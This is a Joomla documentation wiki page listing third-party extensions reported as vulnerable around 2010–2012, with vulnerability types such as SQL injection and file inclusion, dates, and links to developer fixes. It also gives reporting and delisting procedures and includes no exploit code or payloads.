*If you are seeing this page on any site other than [http://docs.joomla.org/Vulnerable_Extensions_List the Offical Joomla Documentation] you may be seeing an out of date version or experiencing [http://en.wikipedia.org/wiki/Plagiarism plagiary] and the links may not work properly

{| class="wikitable sortable" border="1"
|-
! '''Extension'''
! class="unsortable"| '''Details'''
! '''Date Added'''
! class="unsortable" |'''Extension Update Link & Date'''
|-
|style="background:#cef2e0; color:black" |
== Simple File Upload 1.3 ==
|RFI
|010112
| Developer update [http://wasen.net/index.php?option=com_content&view=article&id=64:simple-file-upload-download&catid=40:project-simple-file-upload&Itemid=59 statement] to 1.3.5
|-
|style="background:red; color:white" |

== Dshop ==
|sqli (possibly dhrusya.com)
|201111
|
|-
|style="background:red; color:white" |

== QContacts 1.0.6 ==
|sqli
|131211
|
|-
|style="background:red; color:white" |

== Jobprofile 1.0 ==
| SQL Injection Vulnerability
|051211
|
|-
|style="background:red; color:white" |

== JX Finder 2.0.1 ==
| XSS Vulnerabilities
|011211
|

|-
|style="background:red; color:white" |

== wdbanners ==
|Unknown Exploit
|301111
|
|-
|
== JB Captify Content J1.5 and J1.7 ==
|Security checks missing -Versions prior to JB_mod_captifyContent_J1.5_J1.7_1.0.1.zip
|141111
|All extensions available on the [http://joomlabamboo.com site have been updated] and this potential security issue has been resolved.
|-
|

== JB Microblog ==
|Security checks missing - J1.7 only. Versions prior to 1.10.3
|14111
|All extensions available on the [joomlabamboo.com site have been updated] and this potential security issue has been resolved.
|-
|

== JB Slideshow <3.5.1, ==
|Security checks missing
|141111
|All extensions available on the [joomlabamboo.com site have been updated] and this potential security issue has been resolved.
|-
|

== JB Bamboobox ==
|Security checks missing - J1.5 all versions prior to 1.2.2
|141111
|All extensions available on the [joomlabamboo.com site have been updated] and this potential security issue has been resolved.
|-
|
== RokModule ==
|SQLI - exploits RokStock RokWeather RokNewspager
|121111
|developer release statement [http://www.rockettheme.com/blog/extensions/1300-important-security-vulnerability-fixed RokModule v1.3 for Joomla 1.7 RokModule v1.4 for Joomla 1.5]

|-
|style="background:#cef2e0; color:black" |

== hm community ==
|Multiple Vulnerabilities
|011111
|developer release [http://joomlaextensions.co.in/product/HM-Community 1.01]
|-
|style="background:#cef2e0; color:black" |

== Alameda ==
|SQLi
|01111
|developer statement [http://www.blueflyingfish.com/alameda/index.php?option=com_content&view=category&id=5&Itemid=28 and Latest version number v1.0.1.]
|-
|style="background:#cef2e0; color:black" |

== Techfolio 1.0 ==
|Techfolio 1.0 SQLI
|291011
|
|-
|style="background:#cef2e0; color:black" |

== Barter Sites 1.3 ==
|Barter Sites 1.3 SQL Injection & Persistent XSS vulnerabilities
|291011
|developer [http://my.barter-sites.com/index.php?option=com_content&view=article&id=6&Itemid=25 release 1.3.1]
|-
|style="background:#cef2e0; color:black" |

== Jeema SMS 3.2 ==
|Jeema SMS 3.2 Multiple Vulnerabilities
|291011
|developer resolution notice [http://jeema.net/about-us/securty-releases.html for 3.5.2]
|-
|style="background:red; color:white" |

== Vik Real Estate 1.0 ==
|Vik Real Estate 1.0 Multiple Blind SqlI
|291011
|
|-
|style="background:#cef2e0; color:black" |

== yj contact ==
|LFI (youjoomla contact)
|241011
|developer update statement [http://www.youjoomla.com/yj-contact-us-1.0.1-released.html 261011]

|-
|style="background:#cef2e0; color:black" |

== NoNumber Framework ==
| Advanced Module Manager * AdminBar Docker * Add to Menu * Articles Anywhere * What? Nothing!* Tooltips* Tabber* Sourcerer* Slider* Timed Styles* Modules Anywhere* Modalizer* ReReplacer* Snippets* DB Replacer* CustoMenu* Content Templater* CDN for Joomla!* Cache Cleaner* Better Preview
|181011
|see http://feeds.feedburner.com/nonumber/news for updates of various extensions
|-
|style="background:red; color:white" |

== Time Returns ==
|SQLi takeaweb.it
|151011
|No longer developed. New version 2.0.1 for Joomla 1.6/1.7 (old version are no longer supported) http://www.takeaweb.it
|-
|style="background:#cef2e0; color:black" |

== Simple File Upload ==
|LFI
|300811
|developer advice [http://wasen.net/index.php?option=com_content&view=article&id=64&Itemid=59 page]
|-
|style="background:#cef2e0; color:black" |

== Jumi ==
|LFI
|300811
|Developer states proper use of joomla administration/extension documentation reading
|-
|style="background:#cef2e0; color:black" |

== Joomla content editor ==
|JCE lfi/rfi vulnerability
|
|JCE 2.0.11 and JCE 1.5.7.14 [http://www.joomlacontenteditor.net/news/item/jce-2011-released have been released]

|-
|style="background:#cef2e0; color:black" |

== Google Website Optimizer ==
|Numerous vulnerabilities. Website Optimizer, Pearl Group
|290811
|developer update [http://www.pearl-group.com/optimizer-changelog statement to ver. 1.4.0]
|-
|style="background:#cef2e0; color:black" |

== Almond Classifieds ==
|777 Folder settings (all folders it uses are set to 777 including previously 755 locked folders)
|260811
|developer resolution [http://www.almondsoft.com/acj/ notice]
|-
|style="background:#cef2e0; color:black" |

== joomtouch ==
|LFI/RFI
|180811
|developers [http://www.joomtouch.com/ultime/4-risolta-la-vulnerabilita-di-joomtouch.html resolution notice 1.0.3]
|-
|style="background:#cef2e0; color:black" |

== RAXO All-mode PRO ==
|Timthumb RFI
|110811
|[http://raxo.org/forum/viewtopic.php?f=2&t=60#p2056 developer upgrade 1.5.0 statement]
|-
|style="background:#cef2e0; color:black" |

== V-portfolio ==
|DT - open folders
|110811
| [http://vsmart-extensions.com/index.php?option=com_content&view=article&id=61 developer resolution statement]
|-
|style="background:#cef2e0; color:black" |

== obSuggest ==
|LFI
|310711
|developer [http://foobla.com/news/latest/obsuggest-1.8-security-release.html release statement]
|-
|style="background:#cef2e0; color:black" |

== Simple Page ==
|LFI
|230711
|developer update [http://omar84.com/latest-news/65-simple-page-options-1517-security-release statement] v1.5.17 has been released
|-
|style="background:#cef2e0; color:black" |

== JE Story ==
|LFI
|230711
|[http://joomlaextensions.co.in/extensions/components/je-story-submit.html devloper security update] notice to ver 1.9
|-
|style="background:#cef2e0; color:black" |

== appointment booking pro ==
|LFI 22071
|
|[http://appointmentbookingpro.com/index.php?option=com_kunena&Itemid=66&func=view&catid=25&id=8129#8129 developer update security announcement] Current 2.0.1 and 1.4.x versions, are '''not''' vulnerable,
|-
|style="background:red; color:white" |

== acajoom ==
|xss (admin permission required)
|220711
|updated to 5.20
|-
|style="background:#cef2e0; color:black" |

== gTranslate ==
|ID -
|220711
|[http://edo.webmaster.am/gtranslate-changelog developer security release] 1.5 x.25 and 1.6 x.26.
|-
|style="background:red; color:white" |

== alpharegistration ==
|http://www.alphaplug.com/ Please contact the developer for any questions on this extension
|170711 220711
|
|-
|style="background:#cef2e0; color:black" |

== Jforce ==
|DT -
|170711
| [http://www.jforce.com/blog/270-jforce-security-release.html developer states The new version number v1.5r1362 resolves the problem]
|-
|style="background:#cef2e0; color:black" |

== Flash Magazine Deluxe Joomla ==
|ID [http://www.joomplace.com/joomla-components/flash-magazine-deluxe-component.html multiple vulnerabilities]
|170711
|[http://www.joomplace.com/news-blog/flashmagazine-deluxe-2-1-4-security-release.html developer release] 2.1.4
|-
|style="background:#cef2e0; color:black" |

== AVreloaded ==
|SQLi - version 1.2.6
|150711
|[http://allvideos.fritz-elfert.de/ 1.2.7 released developer release statement 160711]
|-
|style="background:#cef2e0; color:black" |
== Sobi ==
|SQLI -
|130711
|[http://www.sigsiu.net/changelog developer fix and update statement]
|-
|style="background:#cef2e0; color:black" |

== fabrik ==
|sqli
|120711
|[http://fabrikar.com/downloads/details/36/89 Developers Update statement 2.1]
|-
|

== xmap ==
|sqli 1.2.11
|120711
|upgrade to 1.2.12
|-
|style="background:#cef2e0; color:black" |

== Atomic Gallery ==
|Creates 777 folders [http://www.atomicon.nl/atomicongallery Atomic gallery]
|110711
|developer [http://www.atomicon.nl/atomicongallery#changelog release statement/changelog]
|-
|

== myApi ==
|ID [http://extensions.joomla.org/component/mtree/social-web/facebook-integration/11624 Contains "Call-Home" function. Sends private user information to developer.]
|020711
|[http://www.myapi.co.uk/ Developer states Use version 1.3.4.1]
|-
|style="background:red; color:white" |

== mdigg ==
|SQL I (not listed in JED)
|020711
|
|-
|style="background:#cef2e0; color:black" |

== Calc Builder ==
|sqli + ID
|180611
| [http://components.moonsoft.es/downloadcalcbuilder dev security release 0.0.2]
|-
|style="background:#cef2e0; color:black" |

== Cool Debate ==
|Cool Debate 1.03 LFI
|
| version [http://www.acoolsip.com/development/a-cool-debate.html 1.0.8 released.]
|-
|style="background:red; color:white" |

== ==
|
|
|
|-
|style="background:#cef2e0; color:black" |

== Scriptegrator Plugin 1.5.5==
|LFI
|140611
| [http://www.greatjoomla.com/news/index.html Update - Core Design Scriptegrator plugin 2.0.9 &] 1.5.6
|-
|style="background:#cef2e0; color:black" |

== Joomnik Gallery ==
|SQLi
|
|[http://joomlacode.org/gf/project/joomnik/ developer update to 0.9.1]
|-
|style="background:#cef2e0; color:black" |

== JMS fileseller ==
|LFI
|0611
|[http://joommasters.com/commercial-extensions/components/jms-fileseller.html developer upgrade announcement to v1.1]
|-
|style="background:#cef2e0; color:black" |

== sh404SEF ==
|low-level XSS security issue
|300511
|[http://dev.anything-digital.com/Forum/Announcements/11147-sh404SEF-2.2.6-now-available-for-Joomla-1.5/ Dev upgrade statement to 2.2.6]
|-
|style="background:#cef2e0; color:black" |

== JE Story submit ==
|LFI/RFI
|
|[http://joomlaextensions.co.in/extensions/modules/je-content-menu.html?page=shop.product_details&flypage=flypage.tpl&product_id=77&category_id=13&vmcchk=1 developer states Version 1.8]
|-
|style="background:red; color:white" |

== FCKeditor ==
|File Upload Vulnerability
|230511
|
|-
|style="background:red; color:white" |

== KeyCaptcha ==
|ID
|190511
|
|-
|style="background:red; color:white" |

== Ask A Question AddOn v1.1 ==
|SQLi
|160511
|
|-
|style="background:#cef2e0; color:black" |

== Global Flash Gallery ==
|flash-gallery.com xss
|130511
|[http://flash-gallery.com/help/joomla-extension/faq/security-update-0.5.0/ dev release 0.5.0 statement]
|-
|style="background:#cef2e0; color:black" |

== com_google ==
|LFI [http://freejoomlacomponent.appspot.com/ com_google]
|080511
|[http://freejoomlacomponent.appspot.com/securityrelease.html devs update to 1.5.1]
|-
|style="background:#cef2e0; color:black" |

== docman ==
|com-docman Input Validation Error
|160511
|[http://forum.joomla.org/viewtopic.php?p=2502904#p2502904 devs resolution statement, report for old version]
|-
|style="background:#cef2e0; color:black" |

== Newsletter Subscriber ==
|XSS
|120511
|[http://mavrosxristoforos.com/joomla-extensions/free/newsletter-subscriber Deveopler update]
|-
|style="background:#cef2e0; color:black" |

== Akeeba ==
|akkeba backup and joomlapack
|170411
|[https://www.akeebabackup.com/home/item/1091-akeeba-backup-3-2-7.html dev update to 3.2.7]
|-
|style="background:#cef2e0; color:black" |

== Facebook Graph Connect ==
|SID. call home device with user credentials
|120411
|[http://www.sikkimonline.info/security-notice dev update notice]
|-
|style="background:#cef2e0; color:black" |

== booklibrary ==
|SQLi ordasoft booklibrary
|180311
|[http://ordasoft.com/Book-Library/security-upgrade-instructions-for-book-library.html developer upgrade instructions]
|-
|style="background:red; color:white" |

== semantic ==
|com semantic http://www.scms.es/joomla creates hidden admin users
|150311
|
|-
|

== JOMSOCIAL 2.0.x 2.1.x ==
|SID, open folders
|120311
|
|-
|style="background:#cef2e0; color:black" |

== flexicontent ==
|forced 777, malicious files
|250311
|[http://www.flexicontent.org/home/item/192-flexicontent-154-is-finally-out.html devs resolve statement], [http://www.flexicontent.org/downloads/latest-version.html Changelog]
|-
|style="background:red; color:white" |

== jLabs Google Analytics Counter ==
|jLabs Google Analytics Counter SID
|
|
|-
|
== xcloner ==
|Unspecified
|260211
|[http://www.xcloner.com/xcloner-news/important-security-upgrade/ dev announcement of security release]
|-
|style="background:#cef2e0; color:black" |

== smartformer ==
|RFI
|230211 (repeat of 041110)
|[http://www.itoris.com/joomla-form-builder-smartformer.html v2.4.1 security fix for Joomla 1.5.x]
|-
|style="background:#cef2e0; color:black" |

== xmap 1.2.10 ==
|Malicious payload in zip
|230211
|[http://joomla.vargas.co.cr/en/news/4-xmap/95-security-notice developer resolution notic]e Clean version available from [http://joomlacode.org/gf/project/xmap/frs/ joomlacode]
|-
|style="background:#cef2e0; color:black" |

== Frontend-User-Access 3.4.1 ==
|Frontend-User-Access 3.4.1 from http://www.pages-and-items.com LFI
|030211
|update to [http://extensions.joomla.org/extensions/access-a-security/frontend-access-control/6874 Frontend-User-Access 3.4.2]
|-
|style="background:#cef2e0; color:black" |

== com properties 7134 ==
| http://com-property.com/ malicious files in script
|
|[http://joomlacode.org/gf/project/property/frs/?action=FrsReleaseBrowse&frs_package_id=5815 Dev update statement]

|-
|style="background:red; color:white" |

== B2 Portfolio ==
|B2 portfolio 1.0 SQLi pulseextensions.com
|250111
|
|-
|style="background:#cef2e0; color:black" |

== allcinevid ==
|SQLI http://extensions.joomla.org/extensions/multimedia/multimedia-players/video-players-a-gallery/15367
|220111
|[http://www.joomtraders.com/our-blog/allcinevid-1.0-sql-injection.html Developers resolution notice]
|-
|style="background:red; color:white" |

== People Component ==
|People component http://www.ptt-solution.com/vmchk/people-component.html sqli
|150111
|
|-
|style="background:red; color:white" |

== Jimtawl ==
|Jimtawl LFI
|251110
|

|-
|style="background:red; color:white" |

== Maian Media SILVER ==
|Maian Media SQLi
|151110
|Developer states unproven in free edition, paid/SILVER version is being upgraded. [http://www.aretimes.com/index.php?option=com_content&view=category&layout=blog&id=40&Itemid=113 dev article]
|-
|style="background:#cef2e0; color:black" |

== alfurqan ==
|alfurqan 1.5 sqli
|151110
|developer update [http://forums.islamis4u.com/index.php/topic%2c83.0.html statement]
|-
|style="background:#cef2e0; color:black" |

== ccboard ==
|[http://extensions.joomla.org/extensions/communication/forum/6823 ccboard XSS and SQLi]
|131110
| on my site at [http://codeclassic.org/component/content/article/1-latest-news/83-ccboard-13-released.html] Please find the respective update information

|-
|style="background:red; color:white" |

== ProDesk v 1.5 ==
|LFI
|091110
|

|-
|style="background:#cef2e0; color:black" |

== sponsorwall ==
|SQL injection pulseextensions.com
|011110
|developer [http://demo.pulseextensions.com/sponsor-wall.html resolution notice]
|-
|style="background:#cef2e0; color:black" |

== Flip wall ==
|SQL injection pulseextensions.com
|011110
| developer http://demo.pulseextensions.com/flip-wall.html update notice [http://www.example.com link title]
|-
|style="background:#cef2e0; color:black" |

== Freestyle FAQ 1.5.6 ==
|http://freestyle-joomla.com/fssdownloads/viewcategory/2 Freestyle FAQ 1.5.6 ‎SQL Injection
|
|[http://freestyle-joomla.com/index.php?announceid=43 new version (1.9.0) is available which fixes] the security issues.

|-
|style="background:red; color:white" |

== iJoomla Magazine 3.0.1 ==
|iJoomla Magazine 3.0.1 RFI
|090910
|
|-
|style="background:red; color:white" |

== Clantools ==
|
|http://www.joomla-clantools.de/downloads/doc_download/7-clantools-123.html clantool sqli
|090910
|
|-
|style="background:red; color:white" |

== jphone ==
|jphone LFI
|090910
|

|-
|style="background:#cef2e0; color:black" |
== PicSell ==
|[http://vm.xmlswf.com/index.php?option=com_content&view=article&id=104&Itemid=131Picsell LFD, 777]
|020910
|new version [http://vm.xmlswf.com/picsell released 150312] version number 11

|-
|style="background:red; color:white" |

== Zoom Portfolio ==
|SID
|020910
|
|-
|style="background:red; color:white" |

== zina ==
|[http://www.pancake.org/zina/ SQL Injection]
|020910
|
|-
|style="background:red; color:white" |

== Team's ==
|[http://www.joomlamo.com Teams extension] SQL Injection
|120810
|
|-
|style="background:red; color:white" |

== Amblog ==
|[http://robitbt.hu/jm/index.php?option=com_amdownloader&task=showfiles&pathid=8 Amblog] SQLi
|120810
|
|-
|style="background:red; color:white" |

== ==
|
|
|
|-
|
== ==
|
|
|
|-
|style="background:red; color:white" |

== wmtpic ==
|www.webmaster-tips.net various
|010710
|

|-
|style="background:red; color:white" |

== Jomtube ==
|http://www.jomtube.com/ SID
|220710
|
|
|-
|style="background:red; color:white" |

== Rapid Recipe ==
|http://www.rapid-source.com Persistent XSS Vulnerability last known fix version 1.7.2
|july 10,2010
|
|-
|style="background:red; color:white" |

== Health & Fitness Stats ==
|http://joomla-extensions.instantiate.co.uk/jcomponents/healthstats Persistent XSS Vulnerability july 10,2010
|
|
|-
|style="background:red; color:white" |

== staticxt ==
|http://extensions.joomla.org/extensions/edition/custom-code-in-content/2184 no version number provided
|
|

|-
|style="background:red; color:white" |

== quickfaq ==
|http://www.schlu.net sqli
|090710
|
|-
|style="background:red; color:white" |

== Minify4Joomla ==
|http://waltercedric.com/ LFI and xss
|090710
|No longer available to download
|-
|style="background:#cef2e0; color:black" |

== IXXO Cart ==
|http://www.php-shop-system.com/ SQLi LFI XSS Vulnerability
|
|developer resolution [http://support.ixxoglobal.com/index.php?/News/NewsItem/View/22/ixxo-cart-new-release-v41190 notice]

|-
|style="background:red; color:white" |

== PaymentsPlus ==
|http://paymentsplus.com.au/ 2.1.5 Blind SQL Injection Vulnerability
|090710
|current version 2.20, 2.1.5 not listed on dev site
|-
|style="background:red; color:white" |

== ArtForms ==
|http://joomlacode.org/gf/project/jartforms/ ArtForms 2.1b7.2 RC2 Multiple Remote Vulnerabilities
|090710
| Old beta extension

|-
|style="background:red; color:white" |

== autartimonial ==
|autartica.be Sqli Vulnerability
|060710
|

|-
|style="background:red; color:white" |

== eventcal 1.6.4 ==
|http://joomlacode.org/gf/project/eventcal/frs/ SQL I last update 2006-12-31 on joomlacode
|040710
|

|-
|style="background:red; color:white" |

== date converter ==
|http://sourceforge.net/projects/date-converter/ sqli
|010710
|

|-
|style="background:red; color:white" |

== real estate ==
|http://www.opensourcetechnologies.com/demos/real-estate.html RFI
|210610
|

|-
|style="background:red; color:white" |

== cinema ==
|SQL injection
|190610
|
|-
|style="background:red; color:white" |

== Jreservation ==
|http://jforjoomla.com/ SQLi Vulnerability
|190610
|

|-
|style="background:red; color:white" |

== joomdocs ==
|http://joomclan.com/index.php/JoomDocs/ xss vulnerability
|190610
|

|-
|style="background:red; color:white" |

== Live Chat ==
|http://www.joompolitan.com/livechat.html Multiple Remote Vulnerabilities
|190610
|
|-
|style="background:red; color:white" |

== Turtushout 0.11 ==
| http://www.turtus.org.ua/files?func=fileinfo&id=13 SQL Injection (again)
|190610
|
|-
|style="background:red; color:white" |

== BF Survey Pro Free ==
|BF Survey Pro Free SQL Injection Exploit
|190610
|Product marker as retired by the developer
|-
|style="background:red; color:white" |

== MisterEstate ==
|http://www.misterestate.com/ Blind SQL Injection Exploit
|190610
|
|-
|style="background:red; color:white" |

== RSMonials ==
|http://www.rswebsols.com/downloads/category/14-download-rsmonials-all?download=23%3Adownload-rsmonials-component XSS Exploit
|190610
|Believed to be 1.5.1 version

|-
|style="background:red; color:white" |

== Answers v2.3beta ==
|Multiple Vulnerabilities http://extensions.joomla.org/extensions/communication/forum/12652
|180610
|
|-
|style="background:red; color:white" |

== Gallery XML 1.1 ==
|Multiple Vulnerabilities
http://extensions.joomla.org/extensions/photos-a-images/photo-gallery/12504
|180610
|
|-
|style="background:red; color:white" |

== JFaq 1.2 ==
|JFaq 1.2 Multiple Vulnerabilities
|180610
|
|-
|style="background:red; color:white" |

== Listbingo 1.3 ==
|Multiple Vulnerabilities
http://extensions.joomla.org/extensions/ads-a-affiliates/classified-ads/12062
|180610
|

|-
|style="background:red; color:white" |

== Alpha User Points ==
|www.alphaplug.com LFI
|180610
|

|-
|style="background:red; color:white" |

== recruitmentmanager ==
|http://recruitment.focusdev.co.uk Upload Vulnerability
|130610
|
|-
|style="background:red; color:white" |

== Info Line (MT_ILine) ==
|http://extensions.joomla.org/extensions/news-display/news-tickers-a-scrollers/8425 reports of shell scripts in download file
|120610
|

|-
|style="background:red; color:white" |

== Ads manager Annonce ==
|http://joomla.clubnautiquemarine.fr/
Upload Vulnerability
| 05/06/10
|
|-
|style="background:red; color:white" |

== lead article ==
|http://www.leadya.co.il/ SQLi
|050610
|
|-
|style="background:red; color:white" |

== djartgallery ==
|http://www.design-joomla.eu Multiple Vul
|05/06/10
|
|-
|style="background:red; color:white" |

== Gallery 2 Bridge ==
|[http://trac.4theweb.nl/g2bridge g2bridge] LFI vulnerability
|
|
|-
|style="background:red; color:white" |

== jsjobs ==
|[http://www.joomsky.com jsjobs] SQL Injection Vulnerability
|
|
|-
|

== ==
|
|
|
|-
|style="background:red; color:white" |

== JE Poll ==
|http://slideshow.joomlaextensions.co.in/ SQL Injection Vulnerability
|
|

|-
|style="background:red; color:white" |

== MediQnA ==
|MediQnA LFI vulnerability version : v1.1
|
|
|-
|style="background:red; color:white" |

== JE Job ==
|http://joomlaextensions.co.in/ LFI SQLi
|
|

|-
|

== ==
|
|
|

|-
|style="background:red; color:white" |

== SectionEx ==
|Stack Ideas section Ex LFI
|
|
|-
|style="background:red; color:white" |

== ActiveHelper LiveHelp ==
|XSS in [http://extensions.joomla.org/extensions/communication/chat/12492 LiveHelp]
|200510
|

|-
|style="background:#cef2e0; color:black" |
== JE Quotation Form ==
|http://joomlaextensions.co.in/free-download/doc_download/11-je-quotation-form.html LFI
|
|developers statement of [http://joomlaextensions.co.in/extensions/joomla-components/product/JE-Quote-Form resolution] '''note''', now known as [http://joomlaextensions.co.in/extensions/joomla-components/product/JE-Quote-Form JE Quote Form]
|-
|style="background:red; color:white" |

== konsultasi ==
|SQL Injection Vulnerability
|
|

|-
|style="background:red; color:white" |

== Seber Cart ==
|Local File Disclosure Vulnerability
|
|[http://www.sebercart.com/index.php?option=com_content&view=article&id=158 Developer Update 140510]

|-
|style="background:red; color:white" |

== Camp26 Visitor ==
|RFI www.camp26.biz
|
|

|-
|style="background:red; color:white" |

== JE Property ==
|JE Property Finder Upload Vulnerability
|
|
|-
|style="background:red; color:white" |

== Noticeboard ==
|Noticeboard for Joomla "controller" Local File Inclusion Vulnerability
|
|
|-
|style="background:red; color:white" |

==SmartSite ==
|SmartSite com_smartsite Local File Inclusion Vulnerability
|
|

|-
|style="background:red; color:white" |

== htmlcoderhelper graphics ==
|htmlcoderhelper graphics v1.0.6 LFI Vulnerability
|
|
|-
|style="background:red; color:white" |

== Ultimate Portfolio ==
|Ultimate Portfolio Local File Inclusion Vulnerability
|
|

|-
|style="background:red; color:white" |

== Archery Scores ==
| [http://lispeltuut.org/ Archery Scores (com_archeryscores) v1.0.6 LFI Vulnerability]

|210410
|
|-
|style="background:red; color:white" |

== ZiMB Manager ==
|Joomla Component ZiMB Manager Local File Inclusion Vulnerability
|210410
|
|-
|style="background:red; color:white" |

== Matamko ==
|Matamko Local File Inclusion Vulnerability
|210410
|
|-
|style="background:red; color:white" |

== Multiple Root ==
|Multiple Root Local File Inclusion Vulnerability http://joomlacomponent.inetlanka.com/
|
|
|-
|style="background:red; color:white" |

== Multiple Map ==
|Multiple Map Local File Inclusion Vulnerability joomlacomponent.inetlanka.com
|
|
|-
|style="background:red; color:white" |

== Contact Us Draw Root Map ==
|Draw Root Map Local File Inclusion Vulnerability joomlacomponent.inetlanka.com
|
|
|-
|style="background:red; color:white" |

== iF surfALERT ==
|[http://www.inertialfate.za.net/ iF surfALERT] Local File Inclusion Vulnerability
|
|
|-
|style="background:red; color:white" |

== GBU FACEBOOK ==
|GBU FACEBOOK SQL injection vulnerability http://www.gbugrafici.nl/gbufacebook/
|
|
|-
|style="background:red; color:white" |

== jnewspaper ==
|jnewspaper (cid) SQL Injection Vulnerability
|
|

|-
|

== ==
|
|
|
|-
|style="background:red; color:white" |
== MT Fire Eagle ==

|LFI http://joomlacode.org/gf/project/jfireeagle/frs/ http://www.moto-treks.com
| 190410
| product considered retired and to be replaced by dev

|-
|style="background:red; color:white"|

== Sweetykeeper ==
|Sweetykeeper Local File Inclusion Vulnerability http://www.joomlacorner.com/
|120410
|
|-
|style="background:red; color:white"|

== jvehicles ==
|SQL Injection http://jvehicles.com
|120410
|
|-
|style="background:red; color:white"|

== worldrates ==
|http://dev.pucit.edu.pk/
|120410
|
|-
|style="background:red; color:white"|

== cvmaker ==
|http://dev.pucit.edu.pk/
|
|
|-
|style="background:red; color:white"|

== advertising ==
|http://dev.pucit.edu.pk/
|
|
|-
|style="background:red; color:white"|

== horoscope ==
|http://dev.pucit.edu.pk/
|120410
|
|-
|style="background:red; color:white"|

== webtv ==
|http://dev.pucit.edu.pk/
|120410
|
|-
|style="background:red; color:white"|

== diary ==
|http://dev.pucit.edu.pk/
|120410
|

|-
|style="background:red; color:white"|

== Memory Book ==
|http://dev.pucit.edu.pk/
|120410
|
|-
|style="background:red; color:white"|

== JprojectMan ==
|LFI http://extensions.joomla.org/extensions/communities-a-groupware/project-a-task-management/5676
|110410
|

|-
|style="background:red; color:white"|

== econtentsite ==
|LFI
|040410
|
|-
|style="background:red; color:white"|

== Jvehicles ==
|ID
|040410
|
|-
|

== ==
|
|
|-
|style="background:red; color:white"|

== gigcalender ==

|SQLi [http://extensions.joomla.org/extensions/calendars-a-events/events/97)http://extensions.joomla.org/extensions/calendars-a-events/events/97 gigcalender]
|13 march 2010
|
|-
|style="background:red; color:white"|

== heza content ==
|SQLi [http://extensions.joomla.org/extensions/structure-a-navigation/sections-a-categories/10427)http://extensions.joomla.org/extensions/structure-a-navigation/sections-a-categories/10427 heza content]
|13 march 2010
|

|-
|style="background:red; color:white" |

== SqlReport ==
|Sqlreport has a sql/RFI exploit. awaiting confirmation on exact developer.
|Feb 20
|'''Not Known'''

|-
|style="background:red; color:white" |

== Yelp ==
| SQLi - Unable to locate developer. Possibly a custom extension.
|Feb 01
|style="background:red; color:white" | ''' Not Known'''
|-

|-
|

== ==
|
|
|
|}<endFeed />

''This list is change protected, for updates or additions [http://forum.joomla.org/memberlist.php?mode=viewprofile&u=28000 Mandville] or [http://forum.joomla.org/memberlist.php?mode=viewprofile&u=87230 lafrance] or [http://forum.joomla.org/memberlist.php?mode=viewprofile&u=67439 PhilD]
''

== Codes used ==
SQLi - SQL injection [http://en.wikipedia.org/wiki/Code_injection#SQL_injection wikipedia]

LFI - Local File Inclusion [http://www.scribd.com/doc/6498408/Remote-and-Local-File-Inclusion-Explained scribd]

RFI - Remote file inclusion [http://en.wikipedia.org/wiki/Remote_File_Inclusion wikipedia]

DT - Directory Traversal [http://en.wikipedia.org/wiki/Directory_traversal wikipedia] (incl 777 folders)

ID = Information Disclosure: account information or sensitive information publicly viewable, or passed to 3rd party without knowledge

== Future Actions & WIP ==

[http://feeds.joomla.org/JoomlaSecurityVulnerableExtensions RSS feed] completed

to feed VEL direct to twitter

== Notes ==
The RSS feed is currently fed by item entry order and not by date fixed.
List as discussed in [[jtopic:455746]] by [http://forum.joomla.org/memberlist.php?mode=viewprofile&u=67439 PhilD] editing by [http://forum.joomla.org/memberlist.php?mode=viewprofile&u=28000 Mandville]

----
[[Category:Security]]
[[Category:Component Management]]

User talk:Tom Hutchison

2012-10-29T05:47:40Z

Phild: /* Security checklist 7 */ new section

Archived:Vulnerable Extensions List

2012-10-22T17:52:35Z

Phild: Undo revision 76874 by Hutchy68 (talk) misspelling of January is intentional

'''List prior to Jnuary 2011 ([[Archived vel|now archived]])''' Please check here also.

Please also check the [[Investigation of exploits|Extension Investigation List]].

== Check and Report. ==
'''Please check with the extension publisher in case of any questions over the security of their product.'''
Report Vulnerable extensions in the [[jforum:432|security forum]] clearly marked with the first word in the title being ''Vulnerable'' where the security moderators or JSST team will respond.
This list is change protected,''' for additions or updates email''' ''vel @ joomla.org''
*If you are seeing this page on any site other than [http://docs.joomla.org/Vulnerable_Extensions_List the Offical Joomla Documentation] you may be seeing an out of date version or experiencing [http://en.wikipedia.org/wiki/Plagiarism plagiary] and the links may not work properly

== How to use this list ==
'''Items will be removed after a suitable period and not on resolution.'''

All known vulnerable extensions are the listed in the first column "Extension". Any in a red box are where we have not been given a fix. Any in a turquoise box contain a link to the notice about an update with link. Any that are in an uncolored box are a "Contact the Developer About This Extension".
Alert Advisory details are in the center column.
If the "Extension Update Link & Date Column has '''Not Known''' then it is where no update is known.

'''This list is compiled from found information and may not be an up to date accurate list''' ''We do '''NOT''' promise to test or validate these reports. We do '''NOT''' guarantee the quality or effectiveness of any updates reported to us or listed here.''
To sign up for the feed please [http://feeds.joomla.org/JoomlaSecurityVulnerableExtensions follow this link]
* We do not list BETA products, or extensions for J1.0.x

== Developers - How to get yourself removed from the VEL ==

Resolved items will be removed after a suitable period and not on resolution

Please solve the issues and:

* '''If JED listed'''

To have your extension republished, please follow these steps:

1- Solve the issues.

2- Attach the new zip file at your actual JED listing.

3- Change the extension version at JED listing.

4- Make sure to include a notice in the JED description to the fact that the new release is a "Security Release" and those who use the extension should upgrade immediately.

5- Create a [http://bit.ly/velunlist JED listing owner ticket] to the JED with a notice and ask that your listing be republished. Include the full details of yournew version number and security notice page

6- Email the VEL team with a notice of resolution, the latest version number '''and''' a link to the security release statement on your website

VEL email can be found above and the JED support link is in your notice of "unpublication" [http://extensions.joomla.org/component/maqmahelpdesk/ and here]

* '''If not JED listed.'''
Inform us by '''email''' with a notice of resolution, the latest version number '''and''' a link to the security release statement on your website.

== January 2012 and onwards Reported Vulnerable Extensions ==
<startFeed />
{| class="wikitable sortable" border="1"
|-
! '''Extension'''
! class="unsortable"| '''Details'''
! '''Date Added'''
! class="unsortable" |'''Extension Update Link & Date'''
|-
|style="background:red; color:white" |

== Icagenda ==
|SQLi
|
|
|-
|style="background:red; color:white" |

== JTag [joomlatag] ==
|SQLi
|
|
|-
|style="background:red; color:white" |

== Freestyle Support ==
|SQLi
|
|
|-
|style="background:#cef2e0; color:black" |

== ACEFTP ==
|DT
|011012
|AceFTP 2.0.0 released. Developer [http://www.joomace.net/blog/aceftp/aceftp-200-has-been-released statement] 101012
|-
|

== MijoFTP ==
|DT
|011012
|*''reported fixed prior to notification''*
|-
|style="background:#cef2e0; color:black" |

== spider calendar lite ==
|RFI
|180912
|developer release version 1.5 [http://web-dorado.com/products/joomla-calendar-module.html version]
|-
|

== RokModule ==
|SQLi
|Rereported 180912
